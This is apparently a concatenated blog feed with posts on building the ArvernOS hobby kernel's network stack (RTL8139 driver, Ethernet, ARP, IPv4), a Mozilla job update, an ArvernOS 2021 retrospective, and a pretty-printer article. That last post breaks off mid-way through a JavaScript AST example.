<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/02/arvernos-network-stack-202201.webp?v=20220411" alt="ArvernOS network stack in (early) 2022" />
<em>Figure 1: ArvernOS network stack in (early) 2022, which is divided into 5
layers (the TCP/IP model sits on top of a physical layer)</em></p>
<p>Figure 1 depicts the 5 different layers/protocols already implemented in
ArvernOS: I chose to have a first distinct physical layer, and then we have the
4 layers of the <a href="https://en.m.wikipedia.org/wiki/Internet_protocol_suite">TCP/IP</a> model. This makes the first 4 layers of this model
similar to the <a href="https://en.wikipedia.org/wiki/OSI_model">OSI model</a> as well.</p>
<p>Each implementation is far from perfect but it is āfunctionalā. In this article,
I introduce the three first layers (at the bottom), which cover three network
protocols: Ethernet (as per IEEE 802.3), ARP and IPv4.</p>
<ul>
<li><a href="#layer-1-rtl8139-network-chip">Layer 1: RTL8139 Network Chip</a></li>
<li><a href="#layer-2-ethernet">Layer 2: Ethernet</a></li>
<li><a href="#layer-25-address-resolution-protocol-arp">Layer 2.5: Address Resolution Protocol (ARP)</a></li>
<li><a href="#layer-3-internet-protocol-v4-ipv4">Layer 3: Internet Protocol v4 (IPv4)</a></li>
<li><a href="#one-more-thing-for-today">One more thing for todayā¦</a> (surprise, yay!)</li>
</ul>
<h2 id="layer-1-rtl8139-network-chip">Layer 1: RTL8139 Network Chip</h2>
<p><em>Disclaimer: This section is specific to ArvernOS but a network stack needs some
hardware eventually, and that is often fairly specific to the kernel/OS
(although it should be possible to have an abstraction layer for the hardware
devices in the network stack itself).</em></p>
<p>The first step was implementing a driver for an old Ethernet network card
(<a href="https://wiki.osdev.org/RTL8139">RTL8139</a>). Why this specific one? Mainly because I knew nothing about
network cards or drivers, the OSDev wiki had good resources on that matter, and
this card was available in QEMU. If I had to chose a driver to write again, Iād
probably write a <a href="https://www.redhat.com/en/blog/introduction-virtio-networking-and-vhost-net">virtio-net</a> driver because thatād allow me to use it on many
virtual machines (and on some cloud providers, potentially).</p>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/02/arvernos-layer1.webp" alt="ArvernOS "Layer 1"" />
<em>Figure 2: ArvernOS āLayer 1ā is basically a driver to send/receive data</em></p>
<p>Implementing the <em>RTL8139</em> driver wasnāt too complex (see these source files:
<a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/arch/x86_64/drivers/rtl8139.h"><code class="language-plaintext highlighter-rouge">drivers/rtl8139.h</code></a> and <a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/arch/x86_64/drivers/rtl8139.c"><code class="language-plaintext highlighter-rouge">drivers/rtl8139.c</code></a>). The
driver transmits data to the hardware by putting it at the right location in
memory and it receives data using hardware interrupts, which are handled with a
simple function that copies the data from one memory location to another. These
two functions are depicted in Figure 2. Under the hood, the hardware does the
conversion from bytes to an analog signal on the actual physical support (i.e.
an Ethernet cable).</p>
<p>I chose to represent an Ethernet card as a <em>network interface</em> (defined in this
header file: <a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/include/kernel/net/net.h#L44-L84"><code class="language-plaintext highlighter-rouge">kernel/net/net.h</code></a>). It is a thin abstraction layer on top
of some configuration (like the MAC/IP addresses of the interface itself as well
as the gateway and a DNS server), and the driver itself.</p>
<p>With that, it was time to write some more code to send and receive data.</p>
<h2 id="layer-2-ethernet">Layer 2: Ethernet</h2>
<p>One thing to understand about Ethernet cards like the one above is that they
exchange data with other machines <strong>within the same LAN</strong> (a āhomeā or āofficeā
network for instance). Machines are connected to each other with <strong>physical</strong>
cables.</p>
<p>At this level (or layer in <a href="https://en.wikipedia.org/wiki/OSI_model">OSI model</a> parlance), we send and receive
frames using <a href="https://en.wikipedia.org/wiki/MAC_address">MAC addresses</a>. A MAC address looks like this:
<code class="language-plaintext highlighter-rouge">52:55:0a:00:02:03</code>. Itās possible to target a specific machine but only if we
know its MAC address. Otherwise we have to use the broadcast MAC address, which
target all machines configured to accept broadcasted frames (network cards can
be configured to ignore such frames).</p>
<h3 id="-layer-2-in-arvernos">š” Layer 2 in ArvernOS</h3>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/02/arvernos-layer2.webp" alt="ArvernOS Layer 1 + 2" />
<em>Figure 3: ArvernOS Layer 1 + 2</em></p>
<p>In ArvernOS, most protocol implementations provide two functions to receive and
send data, which is what Figure 3 shows. The Ethernet implementation is defined
in <a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/include/kernel/net/ethernet.h"><code class="language-plaintext highlighter-rouge">kernel/net/ethernet.h</code></a>. With this network stack, when we send
data, the upper layers call the lower ones. It is the opposite when we receive
data, which is why <code class="language-plaintext highlighter-rouge">rtl8139_receive()</code> calls
<a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/ethernet.c#L10-L42"><code class="language-plaintext highlighter-rouge">ethernet_receive_frame()</code></a> in Figure 3.</p>
<p>This āglueā between the driver code (<code class="language-plaintext highlighter-rouge">rtl8139_receive()</code> in this example) and
the Ethernet layer (<code class="language-plaintext highlighter-rouge">ethernet_receive_frame()</code>) is currently implemented in
<code class="language-plaintext highlighter-rouge">net_interface_init()</code> (see <a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/net.c#L40">this line</a>). Depending on the
driver <em>type</em>, we configure the right callback function on the interface. The
driver has access to this interface so, when it receives data, it can forward
the data to the upper layer (which is unknown from its perspective) <em>via</em> the
interface:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// drivers/rtl8139.c</span>
<span class="k">static</span> <span class="n">net_driver_t</span> <span class="n">driver</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="c1">// ARP_HTYPE_ETHERNET</span>
<span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="s">"RealTek RTL8139"</span><span class="p">,</span>
<span class="p">.</span><span class="n">get_mac_address</span> <span class="o">=</span> <span class="n">rtl8139_get_mac_address</span><span class="p">,</span>
<span class="p">.</span><span class="n">transmit</span> <span class="o">=</span> <span class="n">rtl8139_transmit</span><span class="p">,</span>
<span class="p">.</span><span class="n">interface</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="c1">// will be set in `net_interface_init()`.</span>
<span class="p">};</span>
<span class="kt">void</span> <span class="nf">rtl8139_receive</span><span class="p">()</span>
<span class="p">{</span>
<span class="c1">// ... some code to read the frame/len from a buffer ...</span>
<span class="n">driver</span><span class="p">.</span><span class="n">interface</span><span class="o">-></span><span class="n">receive_frame_callback</span><span class="p">(</span><span class="n">driver</span><span class="p">.</span><span class="n">interface</span><span class="p">,</span> <span class="n">frame</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>I am still wondering if this is the right approach. Sure, it works but there is
no buffering so every single frame will be sent to the upper layers in the
network stack, one by one. In Linux, network device drivers seem to use the
<a href="https://www.kernel.org/doc/htmldocs/networking/API-netif-receive-skb.html"><code class="language-plaintext highlighter-rouge">netif_receive_skb()</code></a> function to pass data up the stack
(<em>via</em> <code class="language-plaintext highlighter-rouge">napi_gro_receive()</code>), and that definitely involves some buffers.</p>
<p>Anyway, given Ethernet required MAC addresses and broadcasting all frames didnāt
sound to appealing, the next logical step was to find a way to discover MAC
addresses. My ālong-termā goal was to write an IP-oriented network stack so I
looked into ARP first.</p>
<h2 id="layer-25-address-resolution-protocol-arp">Layer 2.5: Address Resolution Protocol (ARP)</h2>
<p><a href="https://en.m.wikipedia.org/wiki/Address_Resolution_Protocol">ARP</a> is a popular protocol to find the recipient MAC address when we know its
IP address (or another internet layer address).</p>
<p>It works like this: machine <em>A</em> wants to know the MAC address of machine <em>B</em>. If
<em>A</em> knows the IP address of <em>B</em>, it can send an ARP request, i.e. a frame
broadcasted on the LAN asking <code class="language-plaintext highlighter-rouge">who has <ip address>?</code>. If machine <em>B</em> receives
broadcasted frames, it will sends an ARP reply to <em>A</em> and thatās how <em>A</em> will
know the MAC address of <em>B</em>.</p>
<h3 id="-layer-25-in-arvernos">š” Layer 2.5 in ArvernOS</h3>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/02/arvernos-layer2-5.webp" alt="ArvernOS Layer 1 + 2 + ARP" />
<em>Figure 4: ArvernOS Layer 1 + 2 + ARP (Layer 2.5)</em></p>
<p>Currently, the network stack contains a naive ARP implementation (defined in
this header file: <a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/include/kernel/net/arp.h"><code class="language-plaintext highlighter-rouge">kernel/net/arp.h</code></a>). No ARP cache. No Reverse ARP. As
depicted in Figure 4, when receiving data, the Ethernet code has to decode the
frame header and read the <a href="https://en.wikipedia.org/wiki/EtherType">EtherType</a> value to know what to do next.</p>
<p>The ARP implementation conveniently provides a function to handle ARP packets
(<a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/arp.c#L58-L99"><code class="language-plaintext highlighter-rouge">arp_receive_packet()</code></a>), which receives the data
contained in the Ethernet frame. If the <em>EtherType</em> is not supported, the frame
is dropped.</p>
<p>Sending an ARP request (<code class="language-plaintext highlighter-rouge">who has <ip address>?</code>) is less involved because the
ARP layer only has to construct the ARP packet and ask the Ethernet layer to
send the packet.</p>
<p>At this point, I could visualize frames being sent and received between my
kernel and the emulated gateway in QEMU using Wireshark.</p>
<p><img src="/images/posts/2022/02/wireshark.webp?v=2" alt="Screenshot of Wireshark" /></p>
<h3 id="but-what-if">But, what ifā¦?</h3>
<p>What if <em>A</em> does not know the IP address of <em>B</em>? As mentioned previously, it is
possible to broadcast frames. Another option if <em>A</em> knows <em>B</em>ās (host) name
could be to use <a href="https://en.wikipedia.org/wiki/Domain_Name_System">DNS</a> to find the IP address, and then ARP.</p>
<p>What if <em>A</em> knows nothing about <em>B</em>? For example, it isnāt uncommon to plug an
Ethernet cable to a new machine and get LAN or even Internet access almost
instantaneously. This is very likely happening thanks to <a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP</a>.</p>
<p>Both DNS and DHCP are high level IP protocols. In order to add support for these
protocols, I had to implement a couple new layers: IPv4 and <a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol">UDP</a>.</p>
<h2 id="layer-3-internet-protocol-v4-ipv4">Layer 3: Internet Protocol v4 (IPv4)</h2>
<p><a href="https://en.wikipedia.org/wiki/Internet_Protocol">IP</a> is the Internet Protocol and v4 is the āoldā version, which I like
because I can remember IP addresses (I know, right?). There is also IPv6 but I
donāt know much about it. Iād recommend this <a href="https://tailscale.com/kb/1134/ipv6-faq/">IPv4 vs. IPv6 FAQ</a>
for more information.</p>
<p>IP allows to reach machines on a different LAN using a gateway (a.k.a. a
router). When a machine wants to send an IP packet (sometimes called datagram)
to a non-local machine, it has to create an Ethernet frame that encapsulates the
IP packet and asks the network card to transmit it. Weāve seen that before. The
thing is that we need the data to get out of the LAN so the Ethernet frameās
destination address should be the MAC address of the gateway (even though the
packet is for a different machine).</p>
<p>When the gateway receives the frame, it reads the <a href="https://en.wikipedia.org/wiki/EtherType">EtherType</a>. Given that the
frame encapsulates an IPv4 packet, the gateway determines whether the
destination IP address is local. If it is not local, it modifies the frameās
destination MAC address to set the MAC address of its own gateway and forwards
it. When the packet arrives to a gateway that knows the recipient, the
destination MAC address is set to the one of the recipient machine. The
recipient reads the <em>EtherType</em> as well, and then parses the IPv4 packet.</p>
<p>Each IPv4 packet has a <code class="language-plaintext highlighter-rouge">protocol</code> field that indicates the type of data
encapsulated in the packet. Common types include <a href="https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol">ICMP</a> (āpingā), <a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol">UDP</a> and
<a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol">TCP</a>.</p>
<h3 id="-layer-3-in-arvernos">š” Layer 3 in ArvernOS</h3>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/02/arvernos-layer3.webp" alt="ArvernOS Layers 1 + 2 + IPv4" />
<em>Figure 5: ArvernOS Layer 1 + 2 + IPv4</em></p>
<p>Figure 5 shows how the IPv4 implementation is integrated in the network stack
for ArvernOS. It is very similar to what has been described previously. When
receiving a frame, the Ethernet layer reads the <em>EtherType</em> and calls
<a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/ipv4.c#L21-L49"><code class="language-plaintext highlighter-rouge">ipv4_receive_packet()</code></a> when its value is IPv4. A
not-so-fun but still interesting part of the IPv4 implementation has been to
compute correct checksums as specified in the <a href="https://datatracker.ietf.org/doc/html/rfc1071">RFC 1071</a>.</p>
<p>When I implemented IPv4, I also implemented ICMPv4 so that I could verify my
network stack implementation by ping-ing another machine. Interested readers can
find the code in <a href="https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/icmpv4.c"><code class="language-plaintext highlighter-rouge">kernel/net/icmpv4.c</code></a>.</p>
<h2 id="one-more-thing-for-today">One more thing for todayā¦</h2>
<p>Lately, I started to work on a completely unrelated feature for ArvernOS: a
Linux compatibility layer (see <a href="https://github.com/willdurand/ArvernOS/pull/552">this draft PR</a>), which would
allow unmodified Linux binaries to run on ArvernOS. This involved learning a lot
about the <a href="https://wiki.osdev.org/System_V_ABI">System V ABI</a> and other low-level Linux and ālibcā stuff but I made
good progress. I was able to run a custom <a href="https://busybox.net/">BusyBox</a> build statically compiled
with <a href="https://www.musl-libc.org/">musl</a> on (and for) Linux.</p>
<p><em>Why</em> would I mention that in an article about network protocols, though? Well,
I compiled BusyBox with <code class="language-plaintext highlighter-rouge">ping</code> and I was able to execute it on ArvernOS (and
yeah, the time seems incorrect):</p>
<p><img src="/images/posts/2022/02/arvernos-busybox-ping.webp" alt="BusyBox's ping executed on ArvernOS" /></p>
<p><code class="language-plaintext highlighter-rouge">traceroute</code> kinda works, too. It is cool to see that well-known existing tools
can somehow leverage this little network stack. As I said before, it isnāt
perfect but it is functional.</p>
<h2 id="the-end">The End.</h2>
<p>Thatās it for today. Let me know if you have questions or comments (email or
Twitter). In <a href="/2022/04/11/on-writing-a-network-stack-part-2/">part 2</a>, weāll cover <a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol">UDP</a>, <a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP</a> and <a href="https://en.wikipedia.org/wiki/Domain_Name_System">DNS</a>.</p>
I joined a new team (at Mozilla)2022-01-25T00:00:00+00:00https://williamdurand.fr/2022/01/25/new-team-mozilla<p>The year is 2022 and I am still using my blog to share personal-ish status
updates. Yeah, I am <em>that</em> old. Todayās post is about my career.</p>
<p>I work at Mozilla for ~4 years now (including my time as a contractor). After
having worked on <a href="/2020/05/01/moziversary-2/">many</a>
<a href="/2021/05/01/moziversary-3/">things</a> and getting a
<a href="/2021/02/26/i-got-a-promotion/">promotion</a> not too long ago, I made a <a href="https://www.glassdoor.com/blog/lateral-career-moves/">lateral
move</a>.</p>
<p>I am now a full-time <strong>Firefox engineer</strong>, working on the <a href="https://extensionworkshop.com/documentation/develop/about-the-webextensions-api/">WebExtensions API</a>.
Iāve been working on āweb appsā for most of my career and now Iāll be writing
code for developers to write browser extensions.</p>
<p>This is scary and maybe a bit silly (career-wise) but this is also an incredible
challenge for me. Thatās what I wanted. Thatās what I needed. I left a great
team to join a fantastic team where I am the least experienced in the domain we
own. It <em>almost</em> feels like I am back at the beginning of my career, except that
I now know how much I donāt know. Ha, well. Itās going to be fine.</p>
ArvernOS in 20212021-12-29T00:00:00+00:00https://williamdurand.fr/2021/12/29/arvernos-in-2021<p><em><a href="https://github.com/willdurand/ArvernOS">ArvernOS</a> is a side project I started to learn more about operating systems and low level development. I usually work on it for a few weeks in a row, then pause it for a long time until I come back to it again.</em></p>
<p>At the begin of the year, I tried to <a href="/2021/01/23/bare-metal-raspberry-pi-2-programming/">make ArvernOS run on a Raspberry Pi 2</a>. It was challenging because the original code was written for x86_64 and QEMU. It kinda worked and I learned a few things along the way but the code didnāt get merged into the main branch because I wasnāt happy with the changes.</p>
<p>Fast forward to November: I really wanted to work on this project again! I cleaned up the codebase, re-reading pretty much every single line of code I had written so far. That gave me a new perspective on the code and I decided to port the ArvernOS kernel to real hardware again.</p>
<h2 id="new-architectures-supported">New architectures supported</h2>
<p>250+ commits later, I was able to run the same code, without hacks, on 3 different architectures (<a href="https://github.com/willdurand/ArvernOS/tree/master/src/kernel/arch/x86_64">x86_64</a>, <a href="https://github.com/willdurand/ArvernOS/tree/master/src/kernel/arch/aarch32">AArch32</a> and <a href="https://github.com/willdurand/ArvernOS/tree/master/src/kernel/arch/aarch64">AArch64</a>) and 2 different ārealā devices: Raspberry Pi 2 and Raspberry Pi 3. Each feature I had to implement for ARM was an opportunity to transform some of the ālegacyā x86_64 code into shared code.</p>
<h3 id="some-implementation-details">Some implementation details</h3>
<p>In order to have a mostly generic kernel, some architecture-specific functions have been identified and documented in the <a href="https://github.com/willdurand/ArvernOS/tree/master/include/kernel/arch"><code class="language-plaintext highlighter-rouge">include/kernel/arch/</code> folder</a>. Each ātargetā (that is, architecture and/or board) has to implement these functions. That being said, most of them can be left empty and the kernel will still boot.</p>
<p>The boot sequence is target-specific, i.e. there is no unified bootloader. For x86_64, GRUB and Multiboot2 are used and the default Raspberry Pi bootloader is used for the RPi boards. On the latter boards, <a href="http://www.simtec.co.uk/products/SWLINUX/files/booting_article.html#appendix_tag_reference">ARM tags</a> (ATAGs) are used to pass information because of the lack of a Device Tree parser.</p>
<p>Each target follows the same boot sequence:</p>
<ol>
<li>the bootloader calls <code class="language-plaintext highlighter-rouge">start</code> defined in <code class="language-plaintext highlighter-rouge">boot.asm</code> for each target. This function contains the super-early initialization code required to execute the C code. For ARM, I tried to follow the <a href="https://www.kernel.org/doc/html/latest/arm/booting.html">ARM Linux convention</a>.</li>
<li>the assembly code calls the <code class="language-plaintext highlighter-rouge">kmain()</code> C function, which is also architecture-specific. Its main task is to set up the hardware before the generic code gets executed (<a href="https://github.com/willdurand/ArvernOS/blob/46839059e843fe89b6580511c6d159d5605401bf/src/kernel/arch/aarch32/board/raspi2/kmain.c">example</a>).</li>
<li><code class="language-plaintext highlighter-rouge">kmain_start()</code> is invoked. This is the ArvernOS generic kernel code, which ends the boot sequence by running a process (the kernel shell for example).</li>
</ol>
<h2 id="new-build-system">New build system</h2>
<p>The build system has been refactored too, although it is still based on non-recursive Makefiles. A <a href="https://github.com/willdurand/ArvernOS">base Makefile</a>, which contains most of the configuration, includes the target architecture Makefile and, optionally, the Makefile for the board. This isnāt too complicated and it works well so far.</p>
<p>Besides that, the biggest change has been the switch to <a href="https://llvm.org/">LLVM</a>, which greatly simplified compilation for different architectures.</p>
<h2 id="new-documentation">New documentation</h2>
<p>The documentation has been improved as well and you can browse it at: <a href="https://williamdurand.fr/ArvernOS/">williamdurand.fr/ArvernOS/</a>. I use Doxygen with a more modern theme and a few scripts and hidden HTML comments in markdown files to improve the final content (e.g., the āNoteā cards, TODOs, etc.).</p>
<p>The documentation isnāt perfect yet, in part because writing good docs takes time and also because there are still lots of moving parts. Ideally, <a href="https://github.com/willdurand/ArvernOS/tree/master/include">all public header files</a> should be extensively documented.</p>
<h2 id="new-ci">New CI</h2>
<p>With two new architectures supported and more code written, it was time to refactor the Continuous Integration pipeline as well. There are now <a href="https://app.circleci.com/pipelines/github/willdurand/ArvernOS/1469/workflows/61e45fbc-367a-43e4-9a29-c2acef5e2512">more than 20 jobs</a> performing all kind of checks and running tests with different configuration flags.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ___ ____ _____
/ | ______ _____ _________ / __ \/ ___/
/ /| | / ___/ | / / _ \/ ___/ __ \/ / / /\__ \
/ ___ |/ / | |/ / __/ / / / / / /_/ /___/ /
/_/ |_/_/ |___/\___/_/ /_/ /_/\____//____/
[ 0.000000] ArvernOS 0.0.3 (46839059) for aarch64+raspi3 has started
[ 0.000000] kmain: cmdline is 'kshell selftest'
[ 0.000000] core: initialize interrupt service routines
[ 0.000000] time: initialize timer
[ 0.006342] time: initialize clock
[ 0.006620] sys: initialize syscalls
[ 0.006880] fs: initialize virtual file system
[ 0.007368] fs: mount tarfs (init ramdisk) - addr= 0x8000000
[ 0.008999] fs: mount devfs
[ 0.010348] fs: mount devfs
[ 0.010765] fs: mount sockfs
[ 0.012040] kmain: loading kshell...
[kernel syscalls]
Hello, kshell!
[kernel stacktrace]
[memory]
simple test with malloc()/free(): pointer before malloc() = 0000000000000042
success! p=0000000000400190 and value is: it works
now allocating a large chunk of memory... Pointer before malloc() = 0000000000400190
success!
[filesystem]
This message should be written to the console.
[aarch64]
Got expected exception level: 1
Hello, syscall!
Got expected syscall return value: 42
done.
[ 0.079482] powering off system: exit_code=0
Powering off system now...
</code></pre></div></div>
<p>When possible, QEMU is used to perform <a href="https://github.com/willdurand/ArvernOS/blob/46839059e843fe89b6580511c6d159d5605401bf/src/kernel/kshell/selftest.c">runtime checks</a>. I added some <a href="https://balau82.wordpress.com/2010/11/04/qemu-arm-semihosting/">semihosting</a> support so that the QEMU exit code depends on the result of the <code class="language-plaintext highlighter-rouge">selftest</code> command.</p>
<p>Currently, only the x86_64 architecture is able to load external programs (that can be found in <a href="https://github.com/willdurand/ArvernOS/tree/master/src/userland">userland</a>). One of these programs is named <a href="https://github.com/willdurand/ArvernOS/tree/master/src/userland/testsuite"><code class="language-plaintext highlighter-rouge">testsuite</code></a> and the idea is to test the whole OS: the boot sequence, the switch to usermode and some system calls.</p>
<h2 id="whats-next">Whatās next?</h2>
<p>This project is an experiment that allows me to learn a lot of things and it also challenges me sometimes. I donāt intend to make it production-ready, fully featured or anything like that. Afterall, it is yet another Unix-like monolithic kernel, built on top of various tutorials, studies of various projects (including the Linux kernel), and trials and errors.</p>
<p>There are, however, things Iād like to get done:</p>
<ul>
<li>Multi-tasking: it should be possible to create, run and terminate multiple tasks. I donāt want to go fancy on that, just something that is both simple and functional.</li>
<li>Usermode: the kernel should run at a higher more privileged level than regular (userland) programs. That kinda works on x86_64 already.</li>
<li><a href="https://www.redhat.com/en/blog/virtio-devices-and-drivers-overview-headjack-and-phone">Virtio drivers</a>: in order to test more kernel code, Iād like to implement some virtio drivers like virtio-net.</li>
<li>Linux compatibility: Iād like to explore how to execute (simple) unmodified Linux binaries on ArvernOS.</li>
<li>Graphical User Interface (GUI): from what Iāve seen, that does not look like a fun thing to do because I donāt know much about it but maybe it is? In any case, thatās something Iād like to explore in the future.</li>
<li><a href="https://en.m.wikipedia.org/wiki/Symmetric_multiprocessing">Symmetric Multiprocessing</a> (SMP): this would allow the kernel to leverage all the CPU cores. There are interesting challenges, here, e.g., to avoid synchronization problems.</li>
</ul>
<p>I have some WIP patches for some of these things and the rest is kinda unknown to me. Weāll see in 2022 I guess.</p>
On pretty printers2021-07-23T00:00:00+00:00https://williamdurand.fr/2021/07/23/on-pretty-printers<p>Pretty printers are tools used to format textual content according to a set of
stylistic conventions. <a href="https://prettier.io/">Prettier</a>, <a href="https://github.com/psf/black">black</a>, <a href="https://github.com/rust-lang/rustfmt">rustfmt</a> are great examples
of such tools, which we call ācode formattersā because they are applied to
source code. Users can usually specify the maximum line length and the type of
indentation (spaces or tabs) among other things but those two are responsible
for endless debates in our industry š¤·.</p>
<p>After a āI wonder how that worksā moment, I researched different ways to
implement a code formatter and stumbled upon <a href="https://homepages.inf.ed.ac.uk/wadler/papers/prettier/prettier.pdf">āA prettier printerā</a>
authored by Philipp Wadler. This paper introduces an <em>Intermediate
Representation</em> (IR) used to format content that can then be printed with
multiple possible layouts. This is the foundation of some popular code
formatters like Prettier (see also: <a href="https://github.com/prettier/prettier/blob/aefcb0cc0ab729d06f487202beb17b0f4b550bbf/commands.md">Prettierās intermediate
representation</a>).</p>
<h2 id="how-does-wadlers-algorithm-work">How does Wadlerās algorithm work?</h2>
<p>A code formatter takes some code as input, parse it and translate the result
into a more beautiful version of the code. The parsing step usually generates an
Abstract Syntax Tree (AST), from which we can derive an intermediate
representation as presented in Wadlerās paper.</p>
<p>Most implementations based on this paper use two possible layouts: <em>flat</em> and
<em>broken</em>, controlled by the user-defined line length (a.k.a. āprint widthā).
The code formatter should try to append as much content as possible on the same
line (<em>flat</em> layout) and, when that isnāt possible, the <em>broken</em> layout, which
describes how to break the content on multiple lines, should be preferred.</p>
<h3 id="example-pretty-printing-javascript">Example: pretty-printing JavaScript</h3>
<p>In order to better understand how things work, letās take an example with the
JavaScript function definition below, taken from <a href="https://github.com/willdurand/demo-pretty-printer">my very own implementation of
Wadlerās algorithm in JS</a>, which we are goint to format with that
same implementation:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">renderDocument</span> <span class="o">=</span> <span class="p">(</span><span class="nx">doc</span><span class="p">,</span> <span class="nx">fits</span> <span class="o">=</span> <span class="nx">DEFAULT_FITS</span><span class="p">,</span> <span class="nx">indentPrefix</span> <span class="o">=</span> <span class="nx">DEFAULT_INDENT_PREFIX</span><span class="p">)</span> <span class="o">=></span> <span class="p">{}</span>
</code></pre></div></div>
<p>In order to format this code, we first need to parse it. Using the JavaScript
parser <a href="https://github.com/eslint/espree"><code class="language-plaintext highlighter-rouge">espree</code></a>, we get the following AST (some properties have been
removed for brevity):</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Program</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">body</span><span class="p">:</span> <span class="p">[</span>
<span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">VariableDeclaration</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">kind</span><span class="p">:</span> <span class="dl">'</span><span class="s1">const</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">declarations</span><span class="p">:</span> <span class="p">[</span>
<span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">VariableDeclarator</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">id</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Identifier</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">renderDocument</span><span class="dl">'</span>
<span class="p">},</span>
<span class="nx">init</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">ArrowFunctionExpression</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">params</span><span class="p">:</span> <span class="p">[</span>
<span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Identifier</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">doc</span><span class="dl">'</span>
<span class="p">},</span>
<span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">AssignmentPattern</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">left</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Identifier</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">fits</span><span class="dl">'</span>
<span class="p">},</span>
<span class="nx">right</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Identifier</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">DEFAULT_FITS</span><span class="dl">'</span>
<span class="p">}</span>
<span class="p">},</span>
<span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">AssignmentPattern</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">left</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Identifier</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">indentPrefix</span><span class="dl">'</span>
<span class="p">},</span>
<span class="nx">right</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Identifier</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">DEFAULT_INDENT_PREFIX</span><span class="dl">'</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">],</span>
<span class="nx">body</span><span class="p">:</span> <span class="nx">Node</span> <span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">BlockStatement</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">body</span><span class="p">:</span> <span class="p">[]</span>
<span class="p">}</span>
<span class="p">}</span>
